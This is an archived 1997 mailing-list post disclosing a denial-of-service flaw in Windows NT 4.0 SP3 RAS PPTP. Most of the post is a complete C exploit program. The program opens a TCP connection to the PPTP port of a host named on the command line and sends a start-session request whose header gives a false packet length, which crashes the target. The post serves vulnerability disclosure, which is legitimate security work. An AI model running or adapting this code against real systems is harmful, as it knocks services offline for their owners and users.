home *** CD-ROM | disk | FTP | other *** search
- Date: Wed, 26 Nov 1997 11:48:13 -0600
- From: Kevin Wormington <kworm@SOFNET.COM>
- Subject: Potenial DOS in Windows NT RAS PPTP
-
- Hi, this is my first posting so please excuse the style. Please forgive me
- if this has been posted before, but I have not seen it. Also, I am unable
- to test it with different hotfixes, etc.
-
- I discovered that NT 4.0 w/SP3 and RAS PPTP is vulnerable to a DOS causing
- core dump. I have been working with point to point tunnelling protocol and
- discovered (by accident) that if you send a pptp start session request with
- an invalid packet length in the pptp packet header that it will crash an NT
- box.
-
- Here is a very crude code fragment that will exploit this behaviour:
-
- /*
- * Sample Windoze NT RAS PPTP exploit
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <netinet/udp.h>
- #include <arpa/inet.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <sys/socket.h>
-
- #define PPTP_MAGIC_COOKIE 0x1a2b3c4d
- #define PPTP_CONTROL_HEADER_OFFSET 8
- #define PPTP_REQUEST_OFFSET 12
- typedef enum {
- PPTP_CONTROL_PACKET = 1,
- PPTP_MGMT_PACKET} PptpPacketType;
- typedef enum {
- PPTP_START_SESSION_REQUEST = 1,
- PPTP_START_SESSION_REPLY,
- PPTP_STOP_SESSION_REQUEST,
- PPTP_STOP_SESSION_REPLY,
- PPTP_ECHO_REQUEST,
- PPTP_ECHO_REPLY,
- PPTP_OUT_CALL_REQUEST,
- PPTP_OUT_CALL_REPLY,
- PPTP_IN_CALL_REQUEST,
- PPTP_IN_CALL_REPLY,
- PPTP_IN_CALL_CONNECTED,
- PPTP_CALL_CLEAR_REQUEST,
- PPTP_CALL_DISCONNECT_NOTIFY,
- PPTP_WAN_ERROR_NOTIFY,
- PPTP_SET_LINK_INFO,
- PPTP_NUMBER_OF_CONTROL_MESSAGES} PptpControlMessageType;
-
- typedef struct {
- u_short packetLength;
- u_short packetType;
- u_long magicCookie;} PptpPacketHeader;
- typedef struct {
- u_short messageType;
- u_short reserved;
- } PptpControlHeader;
- typedef struct {
- u_long identNumber;} PptpEchoRequest;
- typedef enum {
- PPTP_ECHO_OK = 1,
- PPTP_ECHO_GENERAL_ERROR} PptpEchoReplyResultCode;
- typedef struct {
- u_long identNumber;
- u_char resultCode;
- u_char generalErrorCode;
- u_short reserved;} PptpEchoReply;
- #define PPTP_FRAME_CAP_ASYNC 0x00000001L
- #define PPTP_FRAME_CAP_SYNC 0x00000002L
- #define PPTP_BEARER_CAP_ANALOG 0x00000001L
- #define PPTP_BEARER_CAP_DIGITAL 0x00000002L
- typedef struct {
- u_short protocolVersion;
- u_char reserved1;
- u_char reserved2;
- u_long framingCapability;
- u_long bearerCapability;
- u_short maxChannels;
- u_short firmwareRevision;
- char hostName[64];
- char vendorString[64];} PptpStartSessionRequest;
- int pptp_start_session (int);
- int main(int argc, char **argv)
- {
- int pptp_sock, i, s, offset;
- u_long src_ip, dst_ip = 0;
- struct in_addr addr;
- struct sockaddr_in sn;
- struct hostent *hp;
- struct servent *sp;
- fd_set ctl_mask;
- char buf[2048];
- if((pptp_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- {
- perror("tcp socket");
- exit(1);
- }
- sp = getservbyname("pptp", "tcp"); /* port 1723 */
- if (!sp)
- {
- fprintf(stderr, "pptp: tcp/pptp: unknown service\n");
- exit(1);
- }
- hp = gethostbyname(argv[1]);
- if (!hp) { fprintf (stderr, "Address no good.\n"); exit(1); }
-
- memset(&sn, 0, sizeof(sn));
- sn.sin_port = sp->s_port;
- sn.sin_family = hp->h_addrtype;
- if (hp->h_length > (int)sizeof(sn.sin_addr))
- {
- hp->h_length = sizeof(sn.sin_addr);
- }
- memcpy(&sn.sin_addr, hp->h_addr, hp->h_length);
- if (connect(pptp_sock, (struct sockaddr *)&sn, sizeof(sn)) < 0)
- {
- perror("pptp: can't connect");
- close(s);
- exit(1);
- }
- pptp_start_session(pptp_sock);
- fprintf(stderr, "Done\n");
- close(pptp_sock);
- return (0);
- }
- int pptp_start_session (int sock)
- {
- PptpPacketHeader packetheader;
- PptpControlHeader controlheader;
- PptpStartSessionRequest sessionrequest;
- char packet[200];
- int offset;
- packetheader.packetLength = htons (20); /* whoops, i forgot to change it
- */
- packetheader.packetType = htons(PPTP_CONTROL_PACKET);
- packetheader.magicCookie = htonl(PPTP_MAGIC_COOKIE);
- controlheader.messageType = htons(PPTP_START_SESSION_REQUEST);
- controlheader.reserved = 0;
- sessionrequest.protocolVersion = htons(1);
- sessionrequest.reserved1 = 0;
- sessionrequest.reserved2 = 0;
- sessionrequest.framingCapability = htonl(PPTP_FRAME_CAP_ASYNC);
- sessionrequest.bearerCapability = htonl(PPTP_BEARER_CAP_ANALOG);
- sessionrequest.maxChannels = htons(32);
- sessionrequest.firmwareRevision = htons(1);
- memset(&sessionrequest.hostName, 0, sizeof (sessionrequest.hostName));
- sprintf (sessionrequest.hostName, "%s", "mypc.anywhere.com");
- memset(&sessionrequest.vendorString, 0, sizeof
- (sessionrequest.vendorString));
- sprintf (sessionrequest.vendorString, "%s", "Any Vendor");
- memset(&packet, 0, sizeof(packet));
- memcpy(&packet, &packetheader, sizeof(packetheader));
- memcpy(&packet[PPTP_CONTROL_HEADER_OFFSET], &controlheader,
- sizeof(controlheader));
- memcpy(&packet[PPTP_REQUEST_OFFSET], &sessionrequest,
- sizeof(sessionrequest));
- send (sock, &packet, 156, 0);
- return (0);
- }
-